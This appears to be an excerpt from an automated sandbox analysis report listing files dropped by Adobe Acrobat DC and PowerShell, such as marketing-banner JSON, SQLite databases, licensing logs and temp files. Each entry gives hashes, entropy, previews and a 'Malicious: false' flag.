MD5:	D47708782383F6A098741FD120B7EAB8
SHA1:	5CCD316A3F7C4E2E668D5443852FE568254EFDC7
SHA-256:	107EE0F009AD518061DF58AF822D4C0405B4DA1A9E6D261B064951A4A7017A0E
SHA-512:	BB8B248B1CA2C067F57B8D7DFFFB8368E12CA323BCF6A5C130C5B3C63C5237E6457A20DCF319011F8CE5C4077543BF2291EF5FBFDD5BD7C967DC2FAD989BD865
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.273507616290688
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJf21rPeUkwRe9:YvXKXjtHNPNYpW736sG+16Ukee9
MD5:	2C409BECFAF549CE3C55D6050E7DDFF2
SHA1:	F95721F6EAED571DEF59DE10041014EEC84EAB1E
SHA-256:	B66416F4A1E299B3FFD348F7B9D24EB916651FF7EB91BA71B66DE7748B255B4C
SHA-512:	AD435A9CC21AC14BF7F6CCA2C7DBBF462BCF765DE0124CA98AB7E7C39EAFFFFA6AD429B4712D38F6F99B8F1B1D58AD2AAD8290DD66AC31C7998A6DFA83214BB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660543872908485
Encrypted:	false
SSDEEP:	24:Yv6X/Gi3+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSMY:YvSQBgkDMUJUAh8cvMMY
MD5:	B83BE7E4259B75A1FFE81973B720DE05
SHA1:	4393E54663D4D7DB7239BE9AD24ECB98EB81BFB4
SHA-256:	2954C6A2E9C09531BC2C44B4936D3DDAE0941BF8A6AAADFE1D7A10E95B7267E7
SHA-512:	FEEAB7C1AEBDEC01628894E92EFCE484FCDD8BA9DDB809BD9118353E63EC4C5C6C8A282C34393B73C63BBC5701849391F7C12F82B43274E10BB182C044CBA72B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.246940314253351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfshHHrPeUkwRe9:YvXKXjtHNPNYpW736sGUUUkee9
MD5:	B7EF9E4077C0EE8B9CC5A60E78D67525
SHA1:	86A99516459E09C6D546DCEA0E8A1EF42EDC4F70
SHA-256:	8FF054DBDB8B2D5E2E9126835644688DAAE43A0474E9B9DE9D0672259A572E5D
SHA-512:	53E8240D1EE7B89CEC1DA8CDA67ABC24E15114851A15ABA4382B601B31C4E3D73ABAC14322F33127A81452FCFB5ECBCB0A9B541E2C9DF2048CC9BC10D84C9023
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.260896484584427
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJTqgFCrPeUkwRe9:YvXKXjtHNPNYpW736sGTq16Ukee9
MD5:	FF8E43DDBDCE1551E652C5FA37AF30E1
SHA1:	6984BA61E74B830DC70E5E420C127C61118924E1
SHA-256:	486382C5C3BED8857C95B7F17601B2E53CE12E03CBC1911F79E5915850C37B0A
SHA-512:	9414377EB390708946833189FDD85BC3C03E9A5F38C543C7A79E13907B3ECACDF871D040D06946DF7DE0BD033073CD0E0DEE8AF8B50F43EA389B640FD0F3E143
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138354315652132
Encrypted:	false
SSDEEP:	24:YrfwajayG5+gyS4StNUGWGoYj+j0SYnQfs29512LSCCAMfEc/+dbLr5/5s9R0uuJ:YrRS4uB3ZgCQ0k8BMf3/O/Va9RU
MD5:	A4DD2596FED045FA5FECB306330C4AD5
SHA1:	40E3854E2C363398491BC88AAE0CADE72BD33366
SHA-256:	E83929D857FAC46AB2F08C5C3C9B005853777483F69C6016FB579D8CB204E1DB
SHA-512:	583CEE8D13CF3C4E652F0A3CCEEA2091671703D28981954A405A5AE33F32565C6BB437E9F741EAA231F96E92C8F7B8C832CA6DCD785F3B5E45244B616F6876CB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"308a9132d979c13e38a97249418b7a27","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544584000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fc45b1268cbb9c3cae4e5923710a03a7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736544584000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4e34a41c71ddf40c23c9ba1ddc8d5e46","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736544584000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a99956fb79144234cfc0a709f35e96bb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736544584000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"87aedeb0f28205bf16d9ecf19f3434ca","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736544584000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ad147238eae712807b912bec9ebbb48d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.984216638495617
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sph4zJwtNBwtNbRZ6bRZ44F:TVl2GL7ms6ggOVpizutYtp6PN
MD5:	6E44DA9E95971254390A810F68B016AB
SHA1:	4E403A6D9AEC7748F3640E33B7552E38055179BB
SHA-256:	523B287D2E5E9D0C189188FB93152792B136AED79CA765CD5314275B90978731
SHA-512:	2BCDE7FDC322D16B506B31FEE9B231C324416C17C08EB1E963CED4AA799DE8DAEC1D4619AE8826563D650297551193F47F2473D1C7BC5004D925FA61C460820A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.338945342676361
Encrypted:	false
SSDEEP:	24:7+twvAD1RZKHs/Ds/SphPzJwtNBwtNbRZ6bRZWf1RZKIqLBx/XYKQvGJF7ursc:7MAGgOVp5zutYtp6PMNqll2GL7msc
MD5:	7FB6F12EBB5B0E89BED0657F3C8DFE8C
SHA1:	E2D8FE136BBB92DAA8FE1F0AC5FEDF0A46D90EFF
SHA-256:	3B120D5CDD1567B76CFFA3180A64136ED613488354CDF1381F8B03EDCAD424FC
SHA-512:	CD3E07E4D6142361CECF1CA347AF54E0A64B199F9CF4517AD6F466924BA8809B3BE4B1C9662EF142F11504E4C9F4C7278BEF2B182180DC92CCE5E245CD89CE4F
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguPFA1FQP2nezxoNfsiakxRCuYyu:6a6TZ44ADESFAbBFsihnzK
MD5:	197BD144D44978AA688D07644B0F03E5
SHA1:	DC92F608C872B96B26DC5A670F0FB21F7A0ED116
SHA-256:	D42D318010C953C559D29B21952DD1156AD65A935806E65468525E5C5767908C
SHA-512:	247B29F0A035724C89A61880169B2622A3CFDD3D602157093B424D14D8D5EE0F6D1A2D3328D6D134F0C14BF718A5440245E73CEC99E779D07A773733F07433E2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI738ed.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5178552411299933
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNnCH:Qw946cPbiOxDlbYnuRK+bDrNCH
MD5:	48C97A034EE516553FCA5D1427905883
SHA1:	E55F0CD1087A79223014E3B000E8A09EE7B6713D
SHA-256:	1AECC5C2E3B03A4B837FA8513BEBEB1F02D759DF8B6A28EBBCA50BCC62D1E151
SHA-512:	508C687864BD3BBBA119B89B3D6249713FA57BC000D15F10A95DD14E447DA0357247ECE8C15BB2A020176C0F206279A1F1EBC8B78E4F04ACA6FDAABC9124CE80
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.2.9.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5vkj2uks.hec.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5jlrzyt.udb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-29-36-771.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.346979025552079
Encrypted:	false
SSDEEP:	384:avjWpNMWAIv+nxR69La/Pk7u16AfD5pgcv/lrTFsfdwngqlRnGYh3i3WqZ0HKBp3:TNT
MD5:	BE20AE911A3AE3F2E13D9E0B2A63893C
SHA1:	A0F417E5599C81186B6FF583AEB398F122750061
SHA-256:	F19A5FE760746604CA95D1CC5ABDD4DDAD2B94329DF96CD7453FB09A7DDAB8E1
SHA-512:	80868E93565263CC491583E70C55DD8505CA754D5F3EE02FCD3EA964F9E8FBD863FA6503498BC46AC15A1C3D9AC6B6F2D2DEF0DE920920BD20582E7081A2D8E0
Malicious:	false
Preview:	SessionID=dfd9a0d1-8965-4198-aac1-a0aa913a70ad.1736544576788 Timestamp=2025-01-10T16:29:36:788-0500 ThreadID=7404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=dfd9a0d1-8965-4198-aac1-a0aa913a70ad.1736544576788 Timestamp=2025-01-10T16:29:36:789-0500 ThreadID=7404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=dfd9a0d1-8965-4198-aac1-a0aa913a70ad.1736544576788 Timestamp=2025-01-10T16:29:36:789-0500 ThreadID=7404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=dfd9a0d1-8965-4198-aac1-a0aa913a70ad.1736544576788 Timestamp=2025-01-10T16:29:36:789-0500 ThreadID=7404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=dfd9a0d1-8965-4198-aac1-a0aa913a70ad.1736544576788 Timestamp=2025-01-10T16:29:36:790-0500 ThreadID=7404 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399334798143524
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbG:NI
MD5:	5210F1E0D207F98A91B02D903220ADDB
SHA1:	E5CBDB46F1B1986BDDA77C5B66F8E260A36A9642
SHA-256:	F556BCE76DAB754A16420396C4FF7C15E01BDEBA91279E5E5D1F2627F8AE453E
SHA-512:	DDF721C59CE0DC2952402FA834D90ABDB96DDEC4F62624BB14554C646535554808E6FC1AD9DFF4AA5E91C9B8C8D4442D0D8136540A0758F0A54B1853F8C6509E
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2ad10aff-33ce-4d97-bb94-50395ba513b8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a30215dc-2708-4b9d-848c-71845ef84f93.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\df410118-a240-47f3-9139-63f785f02739.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yowYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:twZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	8D04FDC5022E491B91EC6B32F003430B
SHA1:	6619D46E06076B5669D4CC677D6D8F638189E46A
SHA-256:	7682C53053D66EF0B1A89335C88C4420226B10AFAC87A286E6E1A6BC795FEE61
SHA-512:	AA96FA56D3C5C4200BAA917D3091ADB1A5FAE7D534DD9C909D8B60AE13E902D6B71D42C2823319483414987E4B41079FA241B3D0A384EE4B281B63F834917E7D
Malicious:	false
